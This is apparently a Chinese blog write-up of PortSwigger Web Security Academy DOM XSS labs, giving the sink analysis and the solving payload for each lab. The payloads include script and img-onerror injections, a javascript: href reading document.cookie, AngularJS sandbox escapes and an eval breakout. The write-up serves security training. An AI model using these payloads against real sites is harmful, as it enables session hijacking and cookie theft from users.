Portswigger web security academy:DOM Based XSS

DOM XSS in document.write sink using source location.search

  • 题目描述

    搜索功能点调用了document.write函数,借此函数调用alert

  • 解题步骤

    看着语句写payload

    asd"><script>alert()</script><"

DOM XSS in document.write sink using source location.search inside a select element

  • 题目描述

    使用document.write调用alertdocument.write会从location.search获取参数,且参数可控,但参数被select element包围了

  • 解题步骤

    可以看到这里的storeId是从URL获取的,而且被<option></option>包围

    构造payload:&storeId=<script>alert()</script>

DOM XSS in innerHTML sink using source location.search

  • 题目描述

    这道题的搜索功能点会使用innerHTML来修改一个div标签,参数取自location.search,调用alert即可

  • 解题过程

    可以看到这里把url里的search参数写到了HTML里

    构造payload:search=<img+src=x+onerror=alert()>

DOM XSS in jQuery anchor href attribute sink using location.search source

  • 题目描述

    在提交反馈的页面里用到了jQuery来修改一个锚的属性,参数取自location.search,要求alert(document.cookie)

  • 解题步骤

    这里和题目描述一样

    构造payload:returnPath=javascript:alert(document.cookie)

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

  • 题目描述

    这道题用到了AngularJS,涉及到一个知识点

    当标签有ng-app属性时,会运行花括号里的代码,<x ng-app="">{{alert()}}</x>

    要求运行一个``AngularJS的表达式调用alert`

  • 解题步骤

    看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍

    payload:

    {{constructor.constructor('alert(1)')()}}

    {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

    官方solution的payload:{{$on.constructor('alert(1)')()}}

  • 参考

    https://bbs.pediy.com/thread-258994.htm

    https://blog.csdn.net/linuxnews/article/details/58296374

Reflected DOM XSS

  • 题目描述

    和题目的意思一样,这是个反射型+DOM型的xss

    调用alert函数即可

  • 解题过程

    在搜索功能点发现了eval函数

    关键代码

    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    eval('var searchResultsObj = ' + this.responseText);
    displaySearchResults(searchResultsObj);
    }
    };
    xhr.open("GET", "/search-results" + window.location.search);
    xhr.send();

    这里涉及一个知识点: eval('xxx'+alert())也会弹窗

    返回值格式为:{"searchTerm":"xxx","results":[]},但是添加引号会被后台转义(添加\)

    构造payload:\"+alert()}//

    (减号也可以)\"-alert()}//

Stored DOM XSS

  • 题目描述

    评论功能点有存储型dom-xss,调用alert函数即可

  • 解题过程

    关键代码

    function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
    }
    let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)

    注意这里的escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以

    构造payload:<><img src=x onerror=alert()>

Portswigger web security academy:DOM Based XSS的更多相关文章

  1. Portswigger web security academy:Stored XSS

    Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...

  2. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  3. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  4. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

随机推荐

  1. AtCoder Beginner Contest 194

    A I Scream int main() { IOS; int a, b; cin >> a >> b; if(a + b >= 15 && b > ...

  2. FreeBSD WIFI 配置详细介绍

    首先运行ifconfig,看看能不能找到你的网卡,如果能,那么你可以走了﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉﹉运行sysctl net.wlan.devices,他可以告诉你,找到的无线网卡编辑/b ...

  3. java常见面试题2:求出两个正整数的最大公约数

    概念: 最大公约数:两个整数共有因子中最大的一个 方法一: 如果两个数相等,则最大公约数为它本身,两个数不等,则用两个数依次除 两个数中最小的一个到 1,直到找到同时能被两个数除尽的那个数 代码清单: ...

  4. python-链队列的实现

    7 class Node(object): 8 def __init__(self,data): 9 self.data = data 10 self.next = None 11 12 class ...

  5. ch2_8_2求解幸运数问题

    思路:f(x)进行十进制每位相加,g(x)进行二进制每位相加,比较是否相等即可. 小明同学学习了不同的进制之后,拿起了一些数字做起了游戏.小明同学知道,在日常生活中我们最常用的是十进制数,而在计算机中 ...

  6. net start MongoDB 服务没有响应控制功能。 请键入 NET HELPMSG 2186 以获得更多的帮助。

    我在 Windows 电脑上修改了 mongo.cfg 文件后 执行 net start mongodb 的时候,命令行出现了这个报错. 这个报错,有几种情况可以进行排查 1. 你的 mongod 命 ...

  7. 攻防世界 reverse Guess-the-Number

    Guess-the-Number  su-ctf-quals-2014 使用jd-gui 反编译jar import java.math.BigInteger; public class guess ...

  8. Linux系统浮动IP的配置

    什么是浮动IP,为什么要配置浮动IP 首先说一下为什么要配置浮动IP. 原文链接:https://blog.csdn.net/readiay/article/details/53538085 现在有一 ...

  9. kubernetes 降本增效标准指南| 容器化计算资源利用率现象剖析

    作者:詹雪娇,腾讯云容器产品经理,目前主要负责腾讯云集群运维中心的产品工作. 张鹏,腾讯云容器产品工程师,拥有多年云原生项目开发落地经验.目前主要负责腾讯云TKE集群和运维中心开发工作. 引言 降本增 ...

  10. 第15 章 : 深入解析 Linux 容器

    深入解析 Linux 容器 今天的内容主要分成以下三个部分 资源隔离和限制: 容器镜像的构成: 容器引擎的构成: 前两个部分就是资源隔离和限制还有容器镜像的构成,第三部分会以一个业界比较成熟的容器引擎 ...